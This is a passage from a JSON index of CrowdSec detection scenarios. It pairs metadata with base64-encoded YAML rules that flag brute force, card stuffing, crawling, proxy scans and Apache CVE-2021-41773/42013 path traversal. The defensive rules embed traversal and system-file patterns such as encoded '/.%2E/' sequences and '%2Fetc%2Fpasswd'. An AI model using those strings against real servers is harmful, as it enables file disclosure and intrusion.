wordpress bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-bf-wordpress_bf_xmlrpc": { "path": "scenarios/crowdsecurity/http-bf-wordpress_bf_xmlrpc.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d4a3456d8fc2edb27b895967f79053f649b943f043763369d437d5c55591c402", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIG9uIHdvcmRwcmVzcyBBUEkgJ3htbHJwYy5waHAnLgoKKipXYXJuaW5nKio6IFNvbWUgcGx1Z2luIGhlYXZpbHkgcmVseSBvbiB0aGUgeG1scnBjLCBieSBlbmFibGluZyB0aGlzIHNjZW5hcmlvIHlvdSBjb3VsZCBibG9jayB5b3VyIG93biBzZXJ2ZXIuCkJlIHN1cmUgdG8gY2hlY2sgdGhlIHNvdXJjZSBvZiB0aGUgY2FsbHMgb24gdGhlIFhNTFJQQyBBUEkgYmVmb3JlIGVuYWJsaW5nIHRoaXMuCgpsZWFrc3BlZWQgb2YgMm0sIGNhcGFjaXR5IG9mIDUK", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWJmLXdvcmRwcmVzc19iZl94bWxycGMKZGVzY3JpcHRpb246ICJkZXRlY3Qgd29yZHByZXNzIGJydXRlZm9yY2Ugb24geG1scnBjIgpkZWJ1ZzogZmFsc2UKIyBYTUxSUEMgYWx3YXlzIHJldHVybnMgMjAwCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdodHRwX2FjY2Vzcy1sb2cnICYmIGV2dC5QYXJzZWQuZmlsZV9uYW1lID09ICd4bWxycGMucGhwJyAmJiBldnQuUGFyc2VkLnZlcmIgPT0gJ1BPU1QnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAybQpibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "detect wordpress bruteforce on xmlrpc", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-crawl-non_statics": { "path": "scenarios/crowdsecurity/http-crawl-non_statics.yaml", "version": "0.3", "versions": { "0.1": { "digest": "86265749b84641e86e7e8ea3c1df53a1cabd1e0e04b6f93853db5d0687913cc7", "deprecated": false }, "0.2": { "digest": "41fb957dfc8e2bb4ae76f2a64a5a25e169e5a0e7e53f42c432e84bec933657ca", "deprecated": false }, "0.3": { "digest": "f0fa40870cdeea7b0da40b9f132e9c6de5e32d584334ec8a2d355faa35cde01c", "deprecated": false } }, "long_description": "RGV0ZWN0IGNyYXdsIChodHRwIEdFVC9IRUFEKSBvbiBub24tc3RhdGljIChqcGcsY3NzLGpzLGV0Yy4pIGh0dHAgcGFnZXMgZnJvbSBhIHNpbmdsZSBpcC4KCkxlYWtzcGVlZCBvZiAwLjVzLCBjYXBhY2l0eSBvZiA0MAo=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWNyYXdsLW5vbl9zdGF0aWNzCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGFnZ3Jlc3NpdmUgY3Jhd2wgZnJvbSBzaW5nbGUgaXAiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlIGluIFsnaHR0cF9hY2Nlc3MtbG9nJywgJ2h0dHBfZXJyb3ItbG9nJ10gJiYgZXZ0LlBhcnNlZC5zdGF0aWNfcmVzc291cmNlID09ICdmYWxzZScgJiYgZXZ0LlBhcnNlZC52ZXJiIGluIFsnR0VUJywgJ0hFQUQnXSIKZGlzdGluY3Q6ICJldnQuUGFyc2VkLmZpbGVfbmFtZSIKbGVha3NwZWVkOiAwLjVzCmNhcGFjaXR5OiA0MAojZGVidWc6IHRydWUKI3RoaXMgbGltaXRzIHRoZSBtZW1vcnkgY2FjaGUgKGFuZCBldmVudF9zZXF1ZW5jZXMgaW4gb3V0cHV0KSB0byBmaXZlIGV2ZW50cwpjYWNoZV9zaXplOiA1Cmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAgKyAnLycgKyBldnQuUGFyc2VkLnRhcmdldF9mcWRuIgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGNyYXdsCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect aggressive crawl from single ip", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "crawl" } }, "crowdsecurity/http-cve-2021-41773": { "path": "scenarios/crowdsecurity/http-cve-2021-41773.yaml", "version": "0.1", "versions": { "0.1": { "digest": "297eff27011c942a75937838e09c60c80f9dfdbfcb18b358b666777b4d1e89aa", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWN2ZS0yMDIxLTQxNzczCmRlc2NyaXB0aW9uOiAiY3ZlLTIwMjEtNDE3NzMiCmZpbHRlcjogfAogIGV2dC5NZXRhLmxvZ190eXBlIGluIFsiaHR0cF9hY2Nlc3MtbG9nIiwgImh0dHBfZXJyb3ItbG9nIl0gYW5kIAogICAgKFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgIi8uJTJFLy4lMkUvIgogICAgICBvcgogICAgIFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgIi8lMkUlMkUvJTJFJTJFIikKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogc2NhbgogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "cve-2021-41773", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "scan" } }, "crowdsecurity/http-cve-2021-42013": { "path": "scenarios/crowdsecurity/http-cve-2021-42013.yaml", "version": "0.1", "versions": { "0.1": { "digest": "5f7e21b44bc4284dde1cde1610109a06a0c986777f48c2f00e08db9e2f156459", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKI3RoaXMgaXMgZ2V0dGluZyBmdW5ueSwgaXQncyB0aGUgdGhpcmQgcGF0Y2ggb24gdG9wIG9mIGN2ZS0yMDIxLTQxNzczCm5hbWU6IGNyb3dkc2VjdXJpdHkvaHR0cC1jdmUtMjAyMS00MjAxMwpkZXNjcmlwdGlvbjogImN2ZS0yMDIxLTQyMDEzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCAKICAgIFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgIi8lJTMyJTY1JSUzMiU2NS8iCmdyb3VwYnk6ICJldnQuTWV0YS5zb3VyY2VfaXAiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogIHR5cGU6IHNjYW4KICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "cve-2021-42013", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "scan" } }, "crowdsecurity/http-generic-bf": { "path": "scenarios/crowdsecurity/http-generic-bf.yaml", "version": "0.4", "versions": { "0.1": { "digest": "aaaf0209fe77be79d8d61a50e73e5da6807e8f13eb7d9832e705553770f6d376", "deprecated": false }, "0.2": { "digest": "ea9e2e43794d162a6bb6a560b940b7a2c73e55436de6555a96ac2edfadbe5d8d", "deprecated": false }, "0.3": { "digest": "d43fbbc7da0a3427bcb170669b873035defedb470b79125e884e283901e57d2f", "deprecated": false }, "0.4": { "digest": "be339072fbbe0691926e92678c48edd17141fc0f17ac14fd8b08f6a4e4f72748", "deprecated": false } }, "long_description": "QWxlcnQgd2hlbiBhIHNpbmdsZSBJUCB0aGF0IHRyeSB0byBicnV0ZWZvcmNlIGh0dHAgYmFzaWMgYXV0aC4KCkxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUuCg==", "content": "IyA0MDQgc2Nhbgp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWdlbmVyaWMtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgZ2VuZXJpYyBodHRwIGJydXRlIGZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5zZXJ2aWNlID09ICdodHRwJyAmJiBldnQuTWV0YS5zdWJfdHlwZSA9PSAnYXV0aF9mYWlsJyIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmNhcGFjaXR5OiA1CmxlYWtzcGVlZDogIjEwcyIKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBodHRwCiB0eXBlOiBiZgogcmVtZWRpYXRpb246IHRydWUKLS0tCiMgR2VuZXJpYyA0MDEgQXV0aG9yaXphdGlvbiBFcnJvcnMKdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IExlUHJlc2lkZW50ZS9odHRwLWdlbmVyaWMtNDAxLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGdlbmVyaWMgNDAxIEF1dGhvcml6YXRpb24gZXJyb3IgYnJ1dGUgZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdodHRwX2FjY2Vzcy1sb2cnICYmIGV2dC5QYXJzZWQudmVyYiA9PSAnUE9TVCcgJiYgZXZ0Lk1ldGEuaHR0cF9zdGF0dXMgPT0gJzQwMSciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogNQpsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogaHR0cAogdHlwZTogYmYKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIEdlbmVyaWMgNDAzIEZvcmJpZGRlbiAoQXV0aG9yaXphdGlvbikgRXJyb3JzCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBMZVByZXNpZGVudGUvaHR0cC1nZW5lcmljLTQwMy1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBnZW5lcmljIDQwMyBGb3JiaWRkZW4gKEF1dGhvcml6YXRpb24pIGVycm9yIGJydXRlIGZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnaHR0cF9hY2Nlc3MtbG9nJyAmJiBldnQuUGFyc2VkLnZlcmIgPT0gJ1BPU1QnICYmIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICc0MDMnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAiMTBzIgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGJmCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect generic http brute force", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bf" } }, "crowdsecurity/http-magento-bf": { "path": "scenarios/crowdsecurity/http-magento-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "a77e4cb9a813ac8bad557138f3b20abaa67d8210768fcb350fb3efcc58c1dfc1", "deprecated": false }, "0.2": { "digest": "98091fa975da7753f9b52ae6e028f9fef0dc46cb93575533a5a04ba824cda8f0", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIG9uIE1hZ2VudG8gQWRtaW4gcGFnZS4KCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUKCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tYmYKZGVidWc6IGZhbHNlCmRlc2NyaXB0aW9uOiAiZGV0ZWN0IE1hZ2VudG8gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ0FETUlOX0xPR0lOX0ZBSUxFRCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogNQpsZWFrc3BlZWQ6IDEwcwpibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCiBhcHBsaWNhdGlvbjogbWFnZW50bwo=", "description": "detect Magento bruteforce", "author": "crowdsecurity", "labels": { "application": "magento", "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-magento-ccs": { "path": "scenarios/crowdsecurity/http-magento-ccs.yaml", "version": "0.2", "versions": { "0.1": { "digest": "bf2bc42b888e36b62144129dd2d61e7b1aac6a4d1926c3ebbfe8453d15c3f6f3", "deprecated": false }, "0.2": { "digest": "07dc5f21d5c4bcf6863c3ce57c4490a8a74c13d2c11ff32e73e419b768478468", "deprecated": false } }, "long_description": "RGV0ZWN0cyBjcmVkaXQgY2FyZCBzdHVmZmluZyBvbiBNYWdlbnRvIHdlYnNpdGUuCgpNb3JlIHRoYW4gMyBwYXltZW50cyBmYWlsZWQgZnJvbSBhIHNhbWUgSVAgaW4gbGVzcyB0aGFuIDMwIHNlY29uZGVzIHdpbGwgdHJpZ2dlciB0aGlzIHNjZW5hcmlvLgo=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tY2NzCmRlYnVnOiBmYWxzZQpkZXNjcmlwdGlvbjogIkRldGVjdCBjcmVkaXQgY2FyZCBzdHVmZmluZyBmcm9tIGEgc2luZ2xlIElQIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnUEFZTUVOVF9GQUlMRUQnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDMKbGVha3NwZWVkOiAzMHMKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBodHRwCiB0eXBlOiBzY2FuCiByZW1lZGlhdGlvbjogdHJ1ZQogYXBwbGljYXRpb246IG1hZ2VudG8K", "description": "Detect credit card stuffing from a single IP", "author": "crowdsecurity", "labels": { "application": "magento", "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-magento-ccs-by-as": { "path": "scenarios/crowdsecurity/http-magento-ccs-by-as.yaml", "version": "0.2", "versions": { "0.1": { "digest": "6e585961ae092036eb9a506c311d331c3cbd59eccdf642cae86b424c39ad730a", "deprecated": false }, "0.2": { "digest": "f65c1ddfabf04040ce288ff53a5d63db45e0db5995d43c86bd868243e3d3c099", "deprecated": false } }, "long_description": "RGV0ZWN0cyBkaXN0cmlidXRlZCBjcmVkaXQgY2FyZCBzdHVmZmluZyBieSBBUyBvbiBNYWdlbnRvIHdlYnNpdGUuCgoKTW9yZSB0aGFuIDEwIHBheW1lbnRzIGZhaWxlZCBpbiB0aGUgc2FtZSBBUyBpbiBsZXNzIHRoYW4gMzBzZWNvbmRlcyB3aWxsIHRyaWdnZXIgdGhpcyBzY2VuYXJpby4K", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tY2NzLWJ5LWFzCmRlYnVnOiBmYWxzZQpkZXNjcmlwdGlvbjogIkRldGVjdCBkaXN0cmlidXRlZCBjcmVkaXQgY2FyZCBzdHVmZmluZyBmcm9tIHNhbWUgQVMiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdQQVlNRU5UX0ZBSUxFRCcgYW5kIGV2dC5NZXRhLkFTTk51bWJlciAhPSAnJyAiCmdyb3VwYnk6IGV2dC5NZXRhLkFTTk51bWJlcgpkaXN0aW5jdDogZXZ0Lk1ldGEuc291cmNlX2lwCmNhcGFjaXR5OiAxMApsZWFrc3BlZWQ6IDMwcwpibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IHNjYW4KIHJlbWVkaWF0aW9uOiB0cnVlCiBhcHBsaWNhdGlvbjogbWFnZW50bwo=", "description": "Detect distributed credit card stuffing from same AS", "author": "crowdsecurity", "labels": { "application": "magento", "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-magento-ccs-by-country": { "path": "scenarios/crowdsecurity/http-magento-ccs-by-country.yaml", "version": "0.2", "versions": { "0.1": { "digest": "be8ae3f56024ef1be29104fa72a84e0178b2330f2e873b170cef782b1d3d6bc0", "deprecated": false }, "0.2": { "digest": "fa29d5fb5f1f420753717485319e5c85fe39c977b5525ccc895a7b24f15a598c", "deprecated": false } }, "long_description": "RGV0ZWN0cyBkaXN0cmlidXRlZCBjcmVkaXQgY2FyZCBzdHVmZmluZyBieSBjb3VudHJ5IG9uIE1hZ2VudG8gd2Vic2l0ZS4KCk1vcmUgdGhhbiAxMCBwYXltZW50cyBmYWlsZWQgaW4gdGhlIHNhbWUgY291bnRyeSBpbiBsZXNzIHRoYW4gMzBzZWNvbmRlcyB3aWxsIHRyaWdnZXIgdGhpcyBzY2VuYXJpby4KCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLW1hZ2VudG8tY2NzLWJ5LWNvdW50cnkKZGVidWc6IGZhbHNlCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGRpc3RyaWJ1dGVkIGNyZWRpdCBjYXJkIHN0dWZmaW5nIGZyb20gc2FtZSBjb3VudHJ5IgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnUEFZTUVOVF9GQUlMRUQnIGFuZCBldnQuTWV0YS5Jc29Db2RlICE9ICcnICIKZ3JvdXBieTogZXZ0Lk1ldGEuSXNvQ29kZQpkaXN0aW5jdDogZXZ0Lk1ldGEuc291cmNlX2lwCmNhcGFjaXR5OiAxMApsZWFrc3BlZWQ6IDMwcwpibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IHNjYW4KIHJlbWVkaWF0aW9uOiB0cnVlCiBhcHBsaWNhdGlvbjogbWFnZW50bwo=", "description": "Detect distributed credit card stuffing from same country", "author": "crowdsecurity", "labels": { "application": "magento", "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-open-proxy": { "path": "scenarios/crowdsecurity/http-open-proxy.yaml", "version": "0.3", "versions": { "0.1": { "digest": "994b9d17d915f47f4ee5f10b2d8b9b7c72b5c93e64f75f3dc1313bf3b5c2613f", "deprecated": false }, "0.2": { "digest": "1c3b55ed813bbac8f8c0d9067d0ae3b7d6fe6b1d437d57ac4c3288c1f38b5ea2", "deprecated": false }, "0.3": { "digest": "e6629c2cdb8f06a1f10561079d926ae42b8d90f680541bb30355714675f0412a", "deprecated": false } }, "long_description": "VGFrZSBhIHJlbWVkaWF0aW9uIGFnYWluc3QgYW55IElQIG1ha2luZyBhIGBDT05ORUNUYCBIVFRQIHJlcXVlc3Qgd2hpY2ggcmV0dXJucyBhIDQwMCBzdGF0dXMgY29kZS4KVGhpcyBpcyBhIHRyaWdnZXIgYnVja2V0LCBzbyBvbmx5IG9uZSByZXF1ZXN0IGlzIGVub3VnaCB0byB0cmlnZ2VyIHRoZSBzY2VuYXJpby4=", "content": "dHlwZTogdHJpZ2dlcgpuYW1lOiBjcm93ZHNlY3VyaXR5L2h0dHAtb3Blbi1wcm94eQpkZXNjcmlwdGlvbjogIkRldGVjdCBzY2FuIGZvciBvcGVuIHByb3h5IgojYXBhY2hlIHJldHVybnMgNDA1LCBuZ2lueCA0MDAKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2h0dHBfYWNjZXNzLWxvZycgJiYgZXZ0Lk1ldGEuaHR0cF9zdGF0dXMgaW4gWyc0MDAnLCc0MDUnXSAmJiAoZXZ0LlBhcnNlZC52ZXJiID09ICdDT05ORUNUJyB8fCBldnQuUGFyc2VkLnJlcXVlc3QgbWF0Y2hlcyAnXmh0dHBbc10/Oi8vJykiCmJsYWNraG9sZTogMm0KbGFiZWxzOgogc2VydmljZTogaHR0cAogdHlwZTogc2NhbgogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect scan for open proxy", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-path-traversal-probing": { "path": "scenarios/crowdsecurity/http-path-traversal-probing.yaml", "version": "0.2", "versions": { "0.1": { "digest": "3f00b0aa00448549a0a9635fdd86d8135503078c7087c1f5e4af11d49e7c2ee1", "deprecated": false }, "0.2": { "digest": "b02022230086b96c212913406376584cc431332bb5cd26078dffa44ff9454499", "deprecated": false } }, "long_description": "VGhlIGh0dHAgcGF0aCB0cmF2ZXJzYWwgcHJvYmluZyBzY2VuYXJpbyBhaW1zIGF0IGRldGVjdGluZywgd2l0aCB2ZXJ5IGxpdHRsZSBmYWxzZSBwb3NpdGl2ZSBjaGFuY2VzLCBwYXRoIHRyYXZlcnNhbCBwcm9iaW5nIGF0dGVtcHRzLgoKUGF0aCB0cmF2ZXJzYWwgYXR0ZW1wdHMgd2lsbCBiZSBkZXRlY3RlZCB3aXRoIHRoZSBwcmVzZW5jZSBvZiBzcGVjaWZpYyBwYXRoIG1hbmlwdWxhdGlvbiBwYXR0ZXJucyBpbiB0aGUgVVJJIG9yIHRoZSBgR0VUYCBwYXJhbWV0ZXIgc3VjaCBhcyBgLi4vYCAsIGAlMkZldGMlMkZwYXNzd2RgIC4uLgoKOndhcm5pbmc6IFRoaXMgc2NlbmFyaW8gaXMgX25vdF8gYSBXQUYgYW5kIHRoaXMgc2NlbmFyaW8gZG9lcyBfbm90XyBhaW1zIGF0IHJlcGxhY2luZyBhIFdBRi4=", "content": "IyBwYXRoIHRyYXZlcnNhbCBwcm9iaW5nCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2h0dHAtcGF0aC10cmF2ZXJzYWwtcHJvYmluZwpkZXNjcmlwdGlvbjogIkRldGVjdCBwYXRoIHRyYXZlcnNhbCBhdHRlbXB0IgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ2h0dHBfYWNjZXNzLWxvZycsICdodHRwX2Vycm9yLWxvZyddICYmIGFueShGaWxlKCdodHRwX3BhdGhfdHJhdmVyc2FsLnR4dCcpLHtldnQuTWV0YS5odHRwX3BhdGggY29udGFpbnMgI30pIgpkYXRhOgogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvcGF0aF90cmF2ZXJzYWwudHh0CiAgICBkZXN0X2ZpbGU6IGh0dHBfcGF0aF90cmF2ZXJzYWwudHh0CiAgICB0eXBlOiBzdHJpbmcKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKZGlzdGluY3Q6ICJldnQuTWV0YS5odHRwX3BhdGgiCmNhcGFjaXR5OiAzCnJlcHJvY2VzczogdHJ1ZQpsZWFrc3BlZWQ6IDEwcwpibGFja2hvbGU6IDJtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IHNjYW4KIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect path traversal attempt", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-probing": { "path": "scenarios/crowdsecurity/http-probing.yaml", "version": "0.2", "versions": { "0.1": { "digest": "580a3bcbb3756b8da7717c88708305791f39ef17c1e5c3041a1dd54b7293f57a", "deprecated": false }, "0.2": { "digest": "c8bb45b4fb8834ea1dc5cff6439dd272c87d7ee5af4a51e77341ec6edc5d7a25", "deprecated": false } }, "long_description": "VGFrZSByZW1lZGlhdGlvbiBhZ2FpbnN0IGEgc2luZ2xlIElQIHRoYXQgcmVxdWlyZXMgbXVsdGlwbGUgZGlmZmVyZW50IChodHRwIHBhdGgpIHBhZ2VzIHRoYXQgZW5kIHVwIGluIDQwNC80MDMvNDAwLgoKTGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgMTAuCg==", "content": "IyA0MDQgc2Nhbgp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLXByb2JpbmcKZGVzY3JpcHRpb246ICJEZXRlY3Qgc2l0ZSBzY2FubmluZy9wcm9iaW5nIGZyb20gYSBzaW5nbGUgaXAiCmZpbHRlcjogImV2dC5NZXRhLnNlcnZpY2UgPT0gJ2h0dHAnICYmIGV2dC5NZXRhLmh0dHBfc3RhdHVzIGluIFsnNDA0JywgJzQwMycsICc0MDAnXSAmJiBldnQuUGFyc2VkLnN0YXRpY19yZXNzb3VyY2UgPT0gJ2ZhbHNlJyIKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCArICcvJyArIGV2dC5QYXJzZWQudGFyZ2V0X2ZxZG4iCmRpc3RpbmN0OiAiZXZ0Lk1ldGEuaHR0cF9wYXRoIgpjYXBhY2l0eTogMTAKcmVwcm9jZXNzOiB0cnVlCmxlYWtzcGVlZDogIjEwcyIKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBodHRwCiB0eXBlOiBzY2FuCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect site scanning/probing from a single ip", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "scan" } }, "crowdsecurity/http-sensitive-files": { "path": "scenarios/crowdsecurity/http-sensitive-files.yaml", "version": "0.2", "versions": { "0.1": { "digest": "9ed53c09709b6e9f11b52e204c8155e9a6b9db9de25686c6b1909a9c59740c5f", "deprecated": false }, "0.2": { "digest": "3f20d74ee5b040db30743ed189537e8c43e04f8954bb5a02251a3495e7a2a555", "deprecated": false } }, "long_description": "IyBIVFRQIFNlbnNpdGl2ZSBmaWxlcwoKRGV0ZWN0IHRlbnRhdGl2ZSBvZiBkYW5nZXJvdXMgZmlsZSBzY2FubmluZyBzdWNoIGFzIGxvZ3MgZmlsZSwgZGF0YWJhc2UgYmFja3VwLCB6aXAgYXJjaGl2ZSBldGMgLi4uCgojIyMgUnVsZQpNb3JlIHRoYW4gMyBhY2Nlc3MgdG8gc2Vuc2l0aXZlIGZpbGVzIGluIFt0aGlzIGxpc3RdKGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2ViL3NlbnNpdGl2ZV9kYXRhLnR4dCk=", "content": "dHlwZTogbGVha3kKZm9ybWF0OiAyLjAKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvaHR0cC1zZW5zaXRpdmUtZmlsZXMKZGVzY3JpcHRpb246ICJEZXRlY3QgYXR0ZW1wdCB0byBhY2Nlc3MgdG8gc2Vuc2l0aXZlIGZpbGVzICgubG9nLCAuZGIgLi4pIG9yIGZvbGRlcnMgKC5naXQpIgpmaWx0ZXI6ICdldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCBhbnkoRmlsZSgic2Vuc2l0aXZlX2RhdGEudHh0IiksIHsgZXZ0LlBhcnNlZC5yZXF1ZXN0IGVuZHNXaXRoICN9KScKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKZGlzdGluY3Q6IGV2dC5QYXJzZWQucmVxdWVzdApkYXRhOgogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvc2Vuc2l0aXZlX2RhdGEudHh0CiAgICBkZXN0X2ZpbGU6IHNlbnNpdGl2ZV9kYXRhLnR4dAogICAgdHlwZTogc3RyaW5nCmNhcGFjaXR5OiA0CmxlYWtzcGVlZDogNXMKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiAgc2VydmljZTogaHR0cAogIHR5cGU6IGRpc2NvdmVyeQogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect attempt to access to sensitive files (.log, .db ..) or folders (.git)", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "discovery" } }, "crowdsecurity/http-sqli-probing": { "path": "scenarios/crowdsecurity/http-sqli-probing.yaml", "version": "0.2", "versions": { "0.1": { "digest": "f3388a2016f9a7fc48a31a357b21c8e65093b8031fc7b120ee2f020de16be246", "deprecated": false }, "0.2": { "digest": "87683f8a569090e52fbcc6ca2ffe139658950d6a05f9d611fd13e90ab875cdb1", "deprecated": false } }, "long_description": 